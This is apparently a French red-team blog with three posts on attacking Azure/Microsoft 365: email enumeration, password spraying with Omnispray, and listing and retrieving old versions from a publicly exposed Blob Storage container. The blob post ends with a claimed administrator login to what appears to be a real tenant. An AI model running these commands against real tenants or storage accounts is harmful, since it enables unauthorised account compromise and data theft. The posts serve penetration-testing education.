Azure on KIRÔN

Azure - Password Spraying

Wed, 24 Jun 2026 00:00:00 +0000

Azure - Password Spraying

C’est quoi ?

Une attaque par password spraying c’est l’inverse d’une attaque par Bruteforce. En gros, au lieu de tester 100 mots de passe sur 1 utilisateur, nous allons tester 1 mot de passe sur 100 utilisateurs (ex : je test le mot de passe password sur ma liste email.txt).

Cette technique permet aux attanquants d’être plus discret, car ce genre de comportement est moins bruyant dans les logs.

Installation

Pour réaliser un “Spray” nous devons d’abord savoir si les mails sont réellement valide, pour cela pouvons passer par Omnispray. Omnispray est un script python développé par 0xZDH et disponible sur github au repo suivant : https://github.com/0xZDH/Omnispray

Pour l’installer il suffit de suivre les étapes des bases d’un clone de repo :

1
2
3

git clone https://github.com/0xZDH/Omnispray
cd Omnispray
pip3 install -r requirements.txt --break-system-packages

Une fois installé nous pouvons exécuter le script avec notre liste de mails réalisé dans le poste Azure - OSINT :

python3 omnispray.py --type enum -uf ../username-anarchy/emails.txt --module o365_enum_office

            *** Omnispray ***

>---------------------------------------<

   > version        :  0.1.4
   > module         :  o365_enum_office
   > type           :  enum
   > userfile       :  ../username-anarchy/emails.txt
   > count          :  1 passwords/spray
   > lockout        :  15.0 minutes
   > wait           :  5.0
   > timeout        :  25 seconds
   > pause          :  0.25 seconds
   > rate           :  10 threads
   > start          :  2026-06-24 09:50:40

>---------------------------------------<

/home/kiron/Omnispray/omnispray.py:319: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
[2026-06-24 09:50:40,839] INFO : Generating prerequisite data via office.com...
[2026-06-24 09:50:41,477] INFO : Enumerating 14 users via 'o365_enum_office' module
[2026-06-24 09:50:42,200] INFO : [ + ] enzo.ribeiro@domaine.com
[ - ] er@domaine.com
[2026-06-24 09:50:43,390] INFO : Results can be found in: '/home/kiron/Omnispray/results/'
[2026-06-24 09:50:43,390] INFO : Valid user accounts: 1

[2026-06-24 09:50:43,641] INFO : /home/kiron/Omnispray/omnispray.py executed in 2.99 seconds.

(Ici, je n’ai que mon utilisateur, il va tester mes mails seulement, si nous en avions plusieurs, avec la même nomenclature, nous aurions plus de résultat)

Ensuite, nous pouvons tester notre “Spray” sur nos/notre utilisateur/s avec la commande suivante :

python3 omnispray.py --type spray -uf ../username-anarchy/emails.txt -p 'password' --module o365_spray_msol

            *** Omnispray ***

>---------------------------------------<

   > version        :  0.1.4
   > module         :  o365_spray_msol
   > type           :  spray
   > userfile       :  ../username-anarchy/emails.txt
   > password       :  password
   > count          :  1 passwords/spray
   > lockout        :  15.0 minutes
   > wait           :  5.0
   > timeout        :  25 seconds
   > pause          :  0.25 seconds
   > rate           :  10 threads
   > start          :  2026-06-24 10:21:52

>---------------------------------------<

/home/kiron/Omnispray/omnispray.py:319: DeprecationWarning: There is no current event loop
  loop = asyncio.get_event_loop()
[2026-06-24 10:04:28,663] INFO : Password spraying 14 users via 'o365_spray_msol' module
[2026-06-24 10:04:28,663] INFO : Password spraying the following passwords: ['password']
[2026-06-24 10:04:29,262] INFO : [ - ] ribeiroe@domaine.com:password [USER_NOT_FOUND: User does not exist]
[2026-06-24 10:04:29,266] INFO : [ - ] enzoribeiro@domaine.com:password [USER_NOT_FOUND: User does not exist]
[2026-06-24 10:04:29,269] INFO : [ - ] enzo@domaine.com:password [USER_NOT_FOUND: User does not exist]
[2026-06-24 10:04:29,293] INFO : [ - ] enzor@domaine.com:password [USER_NOT_FOUND: User does not exist]
[2026-06-24 10:04:29,317] INFO : [ - ] r.enzo@domaine.com:password [USER_NOT_FOUND: User does not exist]
[2026-06-24 10:04:29,367] INFO : [ - ] enzoribe@domaine.com:password [USER_NOT_FOUND: User does not exist]
[2026-06-24 10:04:29,387] INFO : [ - ] enzo.ribeiro@domaine.com:password [VALID_MFA: Response indicates MFA (Microsoft)]
[2026-06-24 10:04:29,393] INFO : [ - ] renzo@domaine.com:password [USER_NOT_FOUND: User does not exist]
[2026-06-24 10:04:29,726] INFO : [ - ] eribeiro@domaine.com:password [USER_NOT_FOUND: User does not exist]
[2026-06-24 10:04:29,767] INFO : [ - ] e.ribeiro@domaine.com:password [USER_NOT_FOUND: User does not exist]
[2026-06-24 10:04:29,771] INFO : [ - ] er@domaine.com:password [USER_NOT_FOUND: User does not exist]
[2026-06-24 10:04:29,779] INFO : [ - ] ribeiro.e@domaine.com:password [USER_NOT_FOUND: User does not exist]
[2026-06-24 10:04:29,790] INFO : [ - ] ribeiro.enzo@domaine.com:password [USER_NOT_FOUND: User does not exist]
[2026-06-24 10:04:29,810] INFO : [ - ] ribeiro@domaine.com:password [USER_NOT_FOUND: User does not exist]

[2026-06-24 10:04:29,813] INFO : Results can be found in: '/home/kiron/Omnispray/results/'
[2026-06-24 10:04:29,813] INFO : Valid credentials: 0

[2026-06-24 10:04:30,064] INFO : /home/kiron/Omnispray/omnispray.py executed in 1.51 seconds.

Explication de la commande :

--type spray : déclare le mode que nous voulons utiliser (enum ou spray)
-uf ../username-anarchy/emails.txt : donne le fichier d’utilisateur que nous voulons tester (il est possible de mettre un seul utilisateur avec le paramètre -u <mail>)
-p password : pour préciser le mot de passe que nous voulons tester (possible de mettre -pf pour donner un fichier de mot de passe)
--module o365_spray_msol : déclare le module que nous voulons utiliser pour réaliser le “spray” il en existe d’autre mais celui la est plus bavard

Ici, nous pouvons voir qu’aucun mot de passe ne valide la connexion … normal, nous pouvons voir que sur toutes les tentatives nous avons le code [USER_NOT_FOUND: User does not exist] sauf sur un : enzo.ribeiro@domaine.com:password où nous avons le message [VALID_MFA: Response indicates MFA (Microsoft)] car ma MFA est activé, il faudra donc la bypass par la suite.

Azure - Blob Storage

Tue, 23 Jun 2026 00:00:00 +0000

Azure - Blob Storage

C’est quoi ?

Le Blob Storage (Binary Large Object) est un service de stockage cloud conçu pour stocker des données non structurées de grande taille. On parle de fichiers bruts : images, vidéos, documents PDF, backups, logs, etc.

Les grands fournisseurs cloud proposent leur propre version :

Azure Blob Storage (Microsoft)
Amazon S3 (AWS)
Google Cloud Storage (GCP)

Généralement, un Blob Storage va stocker des fichiers, des backups, des APK, des ISO etc.

Ce qui est intéressant dans cas c’est que ces Blob Storage peuvent être paramétré en public et là ça devient intéressant car nous pouvons y retrouver des données confidentiel.

Exploitation

Lister les Blolbs du container :

curl 'https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list'

StatusCode        : 200
StatusDescription : OK
Content           : ï»¿<?xml version="1.0" encoding="utf-8"?><EnumerationResults
                    ContainerName="https://mbtwebsite.blob.core.windows.net/$web"><Blobs><Blob><Name>index.html</Name><Url>https://mbtwebsite.blob.core.windows...
RawContent        : HTTP/1.1 200 OK
                    Transfer-Encoding: chunked
                    x-ms-request-id: efa360aa-701e-002b-3828-03fc1e000000
                    x-ms-version: 2009-09-19
                    Access-Control-Allow-Origin: *
                    Content-Type: application/xml
                    Date: Tue, ...
Forms             : {}
Headers           : {[Transfer-Encoding, chunked], [x-ms-request-id, efa360aa-701e-002b-3828-03fc1e000000], [x-ms-version, 2009-09-19], [Access-Control-Allow-Origin, *]...}
Images            : {}
InputFields       : {}
Links             : {}
ParsedHtml        : mshtml.HTMLDocumentClass
RawContentLength  : 8515

Lister uniquement les répertoires (délimiteur /) :

curl 'https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&delimiter=%2F'

StatusCode        : 200
StatusDescription : OK
Content           : ï»¿<?xml version="1.0" encoding="utf-8"?><EnumerationResults
                    ContainerName="https://mbtwebsite.blob.core.windows.net/$web"><Delimiter>/</Delimiter><Blobs><Blob><Name>index.html</Name><Url>https://mbtw...
RawContent        : HTTP/1.1 200 OK
                    Transfer-Encoding: chunked
                    x-ms-request-id: efa3ae3f-701e-002b-0528-03fc1e000000
                    x-ms-version: 2009-09-19
                    Access-Control-Allow-Origin: *
                    Content-Type: application/xml
                    Date: Tue, ...
Forms             : {}
Headers           : {[Transfer-Encoding, chunked], [x-ms-request-id, efa3ae3f-701e-002b-0528-03fc1e000000], [x-ms-version, 2009-09-19], [Access-Control-Allow-Origin, *]...}
Images            : {}
InputFields       : {}
Links             : {}
ParsedHtml        : mshtml.HTMLDocumentClass
RawContentLength  : 710

Récupérer les versions précedente : Pour récupérer les versions précedente, nous devons faire appel au paramètre include avec la valeur versions hors dans l’API actuelle il est impossible de faire cette appel, il faut donc downgrade la version de l’API :

curl -H "x-ms-version: 2019-12-12" 'https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&include=versions' | xmllint --format -

curl -H "x-ms-version: 2019-12-12" 'https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&include=versions' | xmllint --format -
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
100  12880   0  12880   0      0  23626      0                              0
<?xml version="1.0" encoding="utf-8"?>
<EnumerationResults ServiceEndpoint="https://mbtwebsite.blob.core.windows.net/" ContainerName="$web">
  <Blobs>
    <Blob>
      <Name>index.html</Name>
      <VersionId>2023-10-20T20:08:20.2966464Z</VersionId>
      <IsCurrentVersion>true</IsCurrentVersion>
      <Properties>
        <Creation-Time>Fri, 20 Oct 2023 20:08:20 GMT</Creation-Time>
        <Last-Modified>Fri, 20 Oct 2023 20:08:20 GMT</Last-Modified>
        <Etag>0x8DBD1A84E6455C0</Etag>
        <Content-Length>782359</Content-Length>
        <Content-Type>text/html</Content-Type>
        <Content-Encoding/>
        <Content-Language/>
        <Content-CRC64/>
        <Content-MD5>JSe+sM+pXGAEFInxDgv4CA==</Content-MD5>
        <Cache-Control/>
        <Content-Disposition/>
        <BlobType>BlockBlob</BlobType>
        <AccessTier>Hot</AccessTier>
        <AccessTierInferred>true</AccessTierInferred>
        <LeaseStatus>unlocked</LeaseStatus>
        <LeaseState>available</LeaseState>
        <ServerEncrypted>true</ServerEncrypted>
      </Properties>
      <OrMetadata/>
    </Blob>
    <Blob>
      <Name>scripts-transfer.zip</Name>
      <VersionId>2025-08-07T21:08:03.6678148Z</VersionId>
      <Properties>
        <Creation-Time>Thu, 07 Aug 2025 21:08:03 GMT</Creation-Time>
        <Last-Modified>Thu, 07 Aug 2025 21:08:03 GMT</Last-Modified>
        <Etag>0x8DDD5F67FA52204</Etag>
        <Content-Length>1484</Content-Length>
        <Content-Type>application/zip</Content-Type>
        <Content-Encoding/>
        <Content-Language/>
        <Content-CRC64/>
        <Content-MD5>FqTnFqtz+FPCoF81Hzh0rQ==</Content-MD5>
        <Cache-Control/>
        <Content-Disposition/>
        <BlobType>BlockBlob</BlobType>
        <AccessTier>Hot</AccessTier>
        <AccessTierInferred>true</AccessTierInferred>
        <ServerEncrypted>true</ServerEncrypted>
      </Properties>
      <OrMetadata/>
    </Blob>
...

Ici nous voyons un fichier zippé

Importation des modules nécessaire à l’exécution de ce script :

1
2

Install-Module -Name Az
Install-Module -Name MSAL.PS

Lancement du script et connexion au tenant avec les identifiants de connexion retrouvé dans le premier script :

./entra_users.ps1
To sign in, use a web browser to open the page https://login.microsoft.com/device and enter the code GZCQH9PB2 to authenticate.

displayName                                                 userPrincipalName
-----------                                                 -----------------
Akari Fukimo                                                Akari.Fukimo@domaine.com
Akira Suzuki                                                Akira.Suzuki@domaine.com
Angelina Lee                                                alee@domaine.com
Alex Rivera                                                 alex.rivera@domaine.com
Alexandra Wu                                                Alexandra.Wu@domaine.com
Alice Garcia                                                Alice.Garcia@domaine.com
[...]                                                 Sam.Olsson@domaine.com

Avec cette faille nous avons donc un pied (un peu plus même car nous sommes administrateur) dans l’infra cloud de ce domaine.

Autres méthode

Pour énumérer les Blob Storage qui sont mal configurer nous pouvons jeter un oeil sur le site https://grayhatwarfare.com/, qui répertorit les sites/entreprise ayant des Blob Storage mal configuré et vulnérable.

Azure - OSINT

Thu, 18 Jun 2026 00:00:00 +0000

Azure - OSINT

Objectif ?

L’objectif est de collecter des informations sur les utilisateurs du tenant, les ressources exposées et les noms de domaines liées à l’organisation.

Dans cette phase, nous pouvons également faire la découverte deonnées sensible disponible ou non sur internet.

Recon externe passive - Utilisateurs

Hunter.io

Hunter est une plateforme complète qui permet d’identifié les adresses mails et domaines associés à une entreprise.

Ce qui est intéresant avec Hunter.io, c’est qu’il (plus ou moins) trouver le poste de la personne, ce qui va nous permettre de faire du ciblage sur une personne qui à une fonction précise.

Hunter va également également vérifier si l’adresse mail fournit est valide ou non.

Vous pouvez aller tester cet outil à cette URL : https://hunter.io/

ZoomInfo

ZoomInfo est un peu moins recommandé … pas parce qu’il y a moins d’informations ou que la plateforme est moins fiable (niveau données). Mais simplement parce que si nous téléchargeons l’application, et que nous prenons la version gratuite, le binaire va siphonné nos contacts, adresse mail, etc. pour enrichir sa base de données. Il est conseillé de l’utiliser dans un environnement sécurisé et maîtrisé.

Voici le lien de cette plateforme : https://www.zoominfo.com/

Recon externe active - CLI

Pour générer des (potentielle) adresses mail, nous pouvon également utiliser un outil en ligne de commande. Cet outil est username-anarchy disponible sur le repo github suivant : https://github.com/urbanadventurer/username-anarchy

Pour l’installer il suffit de clonner le repo :

1
2

git clone https://github.com/urbanadventurer/username-anarchy
cd username-anarchy

Une fois dans le dossier username-anarchy nous pouvons installer ruby et lancer notre script :

1
2

sudo apt install ruby
ruby username-anarchy --suffix '@domaine.com' Enzo Ribeiro > emails.txt

Ensuite nous pouvons afficher le contenu de emails.txt :

cat emails.txt

enzo@domaine.com
enzoribeiro@domaine.com
enzo.ribeiro@domaine.com
enzoribe@domaine.com
enzor@domaine.com
e.ribeiro@domaine.com
eribeiro@domaine.com
renzo@domaine.com
r.enzo@domaine.com
ribeiroe@domaine.com
ribeiro@domaine.com
ribeiro.e@domaine.com
ribeiro.enzo@domaine.com
er@domaine.com

Une fois généré nous, pouvons les tester avec l’outil o365enum, disponible sur github au lien suivant : https://github.com/gremwell/o365enum.git

Pour l’installer, il suffit de suivre les étapes habituelle :

1
2

git clone https://github.com/gremwell/o365enum.git
cd o365enum

Une fois installer nous pouvons tester les mail pour savoir le quel est le bon. Ici nous utilsons office.com car c’est le plus fiable il a très peu de faux positif comparé aux autres “module” :

./o365enum.py -u ../username-anarchy/emails.txt -n 1 -m office.com
username,valid
enzo@domaine.com,0
enzoribeiro@domaine.com,0
enzo.ribeiro@domaine.com,1
enzoribe@domaine.com,0
enzor@domaine.com,0
e.ribeiro@domaine.com,0
eribeiro@domaine.com,0
renzo@domaine.com,0
r.enzo@domaine.com,0
ribeiroe@domaine.com,0
ribeiro@domaine.com,0
ribeiro.e@domaine.com,0
ribeiro.enzo@domaine.com,0
er@domaine.com,0

Dans le résultat de cette commande nous pouvons un résultat avec un 1 c’est la confirmation que c’est cette adresse qui existe et pas une autre.

Contrairement à l’autre méthode (passive), celle-ci génère un peu de bruit dans les logs, rien de bien fou, mais il est important de le savoir. Même si cette méthode laisse passer du bruit dans les logs, elle reste ma préféré, car, plus fiable et nous pouvons avoir un grand nombre d’utilisateur.

Recon externe - Tenant

Pour commencer l’énumération du Tenant nous pouvons voir si l’entreprise possède un Tenant Azure avec le lien suivant : https://login.microsoftonline.com/getuserrealm.srf?login=domain.com&xml=1

`1`	`curl -s "https://login.microsoftonline.com/getuserrealm.srf?login=<domain>&xml=1" \| xmllint --format -`

(Ici, j’ai rajouté un pipe pour mettre en forme la sortie de mon curl. Il est possible de ne pas mettre le pipe, voir même de rechercher cette URL sur un navigateur) Voici la sortie de la commande ci-dessus :

<?xml version="1.0"?>
<RealmInfo Success="true">
  <State>4</State>
  <UserState>1</UserState>
  <Login>domain.com</Login>
  <NameSpaceType>Managed</NameSpaceType>
  <DomainName>domain.com</DomainName>
  <IsFederatedNS>false</IsFederatedNS>
  <FederationBrandName>Brand Name</FederationBrandName>
  <CloudInstanceName>microsoftonline.com</CloudInstanceName>
  <CloudInstanceIssuerUri>urn:federation:MicrosoftOnline</CloudInstanceIssuerUri>
</RealmInfo>

Voilà un petit tableau qui permet de mieux lire cet output :

Champ	Explication	Valeurs possibles
Success	La requête a abouti / domaine connu d’Entra ID	`true` domaine reconnu par Microsoft `false` requête invalide ou domaine non résolu
State	État du domaine côté Microsoft	`0-3` états transitoires / non pleinement provisionné `4` domaine existant et provisionné (tenant actif) `5` domaine non managé / inconnu d’Entra ID
UserState	État du compte testé	`1` compte existant / état nominal `autres` à comparer entre comptes pour inférer la validité
NameSpaceType	Mode d’authentification du domaine	`Managed` auth gérée par Entra ID → spray direct sur login.microsoftonline.com `Federated` auth déléguée à un IdP (ADFS, Okta…) → champs AuthURL/STSAuthURL, spray sur l’IdP `Unknown` domaine non géré par Entra ID ou inexistant
IsFederatedNS	Le namespace est-il fédéré ?	`false` cohérent avec Managed `true` cohérent avec Federated (IdP externe)
DomainName	Domaine réel résolu côté tenant	`domaine.com` nom de domaine vérifié dans le tenant
FederationBrandName	Nom d’affichage de l’annuaire	`Default Directory` valeur par défaut `<nom org>` souvent le nom réel de l’organisation
CloudInstanceName	Instance cloud du tenant	`microsoftonline.com` cloud commercial standard `.us` / `.de` / `.cn` clouds souverains (GCC High, Allemagne, Chine)
CloudInstanceIssuerUri	Émetteur de jetons de l’instance	`urn:federation:MicrosoftOnline` cloud commercial standard

Ensuite il est également possible d’identifier l’ID du tenant avec l’url suivante :

`1`	`https://login.microsoftonline.com/domaine.com/.well-known/openid-configuration`

(Ici, je vais également faire un curl avec une “formatation” en json afin d’avoir un résultat propre)


curl https://login.microsoftonline.com/domaine.com/.well-known/openid-configuration | jq .
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
100   1800 100   1800   0      0   7038      0                              0
{
  "token_endpoint": "https://login.microsoftonline.com/tenant-id/oauth2/token",
  "token_endpoint_auth_methods_supported": [
    "client_secret_post",
    "private_key_jwt",
    "client_secret_basic"
  ],
  "jwks_uri": "https://login.microsoftonline.com/common/discovery/keys",
  "response_modes_supported": [
    "query",
    "fragment",
    "form_post"
  ],
  "subject_types_supported": [
    "pairwise"
  ],
  "id_token_signing_alg_values_supported": [
    "RS256"
  ],
  "response_types_supported": [
    "code",
    "id_token",
    "code id_token",
    "token id_token",
    "token"
  ],
  "scopes_supported": [
    "openid"
  ],
  "issuer": "https://sts.windows.net/tenant-id/",
  "microsoft_multi_refresh_token": true,
  "authorization_endpoint": "https://login.microsoftonline.com/tenant-id/oauth2/authorize",
  "device_authorization_endpoint": "https://login.microsoftonline.com/tenant-id/oauth2/devicecode",
  "http_logout_supported": true,
  "frontchannel_logout_supported": true,
  "end_session_endpoint": "https://login.microsoftonline.com/tenant-id/oauth2/logout",
  "claims_supported": [
    "sub",
    "iss",
    "cloud_instance_name",
    "cloud_instance_host_name",
    "cloud_graph_host_name",
    "msgraph_host",
    "aud",
    "exp",
    "iat",
    "auth_time",
    "acr",
    "amr",
    "nonce",
    "email",
    "given_name",
    "family_name",
    "nickname"
  ],
  "check_session_iframe": "https://login.microsoftonline.com/tenant-id/oauth2/checksession",
  "userinfo_endpoint": "https://login.microsoftonline.com/tenant-id/openid/userinfo",
  "kerberos_endpoint": "https://login.microsoftonline.com/tenant-id/kerberos",
  "tenant_region_scope": "EU",
  "cloud_instance_name": "microsoftonline.com",
  "cloud_graph_host_name": "graph.windows.net",
  "msgraph_host": "graph.microsoft.com",
  "rbac_url": "https://pas.windows.net"
}

Dans le résultat de la commande ci-dessus, nous pouvons y voir le tenant-id qui représante l’id du tenant. Ce n’est pas une faille en soit mais connaître cet ID peut nous faciliter la tâche lors de l’exploitation de certaines faille.

Recon externe - Tenant W/ Powershell

Pour réaliser sa collecte d’information avec powershell nous pouvons utiliser le module powershell AADInternals avec la commande suivante :

1
2

git clone https://github.com/Gerenios/AADInternals.git
Install-Module AADInternals

Une fois ça fait, nous pouvons nous réferer au tableau suivant :

Commande	Description	Utilité Red Team
`Get-AADIntLoginInformation -Domain <domain>`	Informations de connexion du tenant	Identifier le type d’auth (Managed/Federated)
`Get-AADIntTenantID -Domain <domain>`	Récupère l’ID du tenant	Nécessaire pour certaines exploitations
`Get-AADIntTenantDomains -Domain <domain>`	Liste tous les domaines du tenant	Élargir la surface d’attaque
`Invoke-AADIntReconAsOutsider -DomainName <domain>`	Recon complète depuis l’extérieur	SPF, DMARC, DKIM, MTA-STS, DesktopSSO
`Get-AADIntOpenIDConfiguration -Domain <domain>`	Configuration OpenID du tenant	Récupérer les endpoints OAuth2
`Get-AADIntOAuthInfo -Domain <domain>`	Informations OAuth du tenant	Identifier les méthodes d’auth supportées

Nous pouvons commencer en récupérant les information de connexion aux tenant :

Get-AADIntLoginInformation -Domain domaine.com
    ___    ___    ____  ____      __                        __
   /   |  /   |  / __ \/  _/___  / /____  _________  ____ _/ /____
  / /| | / /| | / / / // // __ \/ __/ _ \/ ___/ __ \/ __ `/ / ___/
 / ___ |/ ___ |/ /_/ _/ // / / / /_/  __/ /  / / / / /_/ / (__  )
/_/  |_/_/  |_/_____/___/_/ /_/\__/\___/_/  /_/ /_/\__,_/_/____/

 v0.9.8 by @DrAzureAD (Nestori Syynimaa)


Has Password                         : True
Federation Protocol                  :
Pref Credential                      : 1
Consumer Domain                      :
Cloud Instance audience urn          : urn:federation:MicrosoftOnline
Authentication Url                   :
Throttle Status                      : 0
Account Type                         : Managed
Federation Active Authentication Url :
Exists                               : 1
Federation Metadata Url              :
Desktop Sso Enabled                  :
Tenant Banner Logo                   : https://aadcdn.msauthimages.net/c1c6b6c8-cugao2godfjrg57da8gjgtdg0gcxafa-z4h8qyxtby/logintenantbranding/0/bannerlogo?ts=638658140324277492
Tenant Locale                        : 0
Cloud Instance                       : microsoftonline.com
State                                : 4
Domain Type                          : 3
Domain Name                          : domaine.com
Tenant Banner Illustration           : https://aadcdn.msauthimages.net/c1c6b6c8-cugao2godfjrg57da8gjgtdg0gcxafa-z4h8qyxtby/logintenantbranding/0/illustration?ts=638558122859906846
Federation Brand Name                : domaine
Federation Global Version            :
User State                           : 1

Grosso modo c’est les mêmes résultats qu’avec cette commande (vu précédemment) :

`1`	`curl -s "https://login.microsoftonline.com/getuserrealm.srf?login=<domain>&xml=1" \| xmllint --format -`

Pour obtenir le tenant-id nous pouvons utiliser la commande :

1
2

Get-AADIntTenantID -Domain domaine.com
<tenant-id>

Pour avoir des informations sur le SPF, DMARC, DKIM, MTA-STS etc. nous avons la commande :

Invoke-AADIntReconAsOutsider -DomainName domaine.com

Tenant brand:       Tenant Brand
Tenant name:
Tenant id:          <tenant-id>
Tenant region:      EU
DesktopSSO enabled: False

Name    : domaine.com
DNS     : True
MX      : True
SPF     : True
DMARC   : True
DKIM    : False
MTA-STS : False
Type    : Managed
STS     :

(Si vous avez des erreurs sur cette commande c’est “normal”)

Recon externe - Sous-domaine

Pour passer à cette étape, nous avons yuyudhn qui a produit un outil qui automatisait cette recherche (ça facilite vraiment la reconnaissance).

AzSubEnum

On peut trouver cet outil sur le repo github suivant : https://github.com/yuyudhn/AzSubEnum

Pour l’installer il suffit de clonner de repo :

`1`	`git clone https://github.com/yuyudhn/AzSubEnum`

Et de télécharger les dépendences :

`1`	`pip3 install requests dnspython==2.4.2`

Une fois téléchargé nous pouvons entrer la commande suivante :

python3 azsubenum.py -b domaine --thread 10

Discovered Subdomains:

App Services:
-----------------------------------
domaine.azurewebsites.net

Email:
---------------------------------------------
domaine.mail.protection.outlook.com

App Services - Management:
---------------------------------------
domaine.scm.azurewebsites.net

SharePoint:
--------------------------------
domaine.sharepoint.com

(/!\ quand nous déclarons le domain, il ne faut pas mettre l’extension .com, .fr etc.)

Il est également de réaliser cette énumération avec le script Powershell MicroBurst : https://github.com/NetSPI/MicroBurst